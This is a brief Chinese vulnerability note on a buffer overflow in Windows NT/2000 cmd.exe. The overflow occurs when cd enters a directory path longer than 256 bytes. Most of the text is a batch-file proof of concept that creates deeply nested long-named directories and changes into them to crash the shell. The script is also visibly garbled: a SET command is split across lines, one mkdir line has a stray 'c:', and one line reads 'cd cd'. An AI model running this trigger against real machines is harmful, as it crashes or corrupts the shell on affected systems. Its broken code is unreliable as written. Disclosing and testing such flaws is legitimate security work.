NTFS文件系统允许建立无限长度的路径，而Windows API却只允许路径不超过256字节。Windows NT和2000的cmd.exe没有正确处理超过256字节的目录。如果使用cd命令进入一个超过256字节的子目录会产生缓冲区溢出。
测试代码
@echo off
SET
A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%c:
cd cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd ..
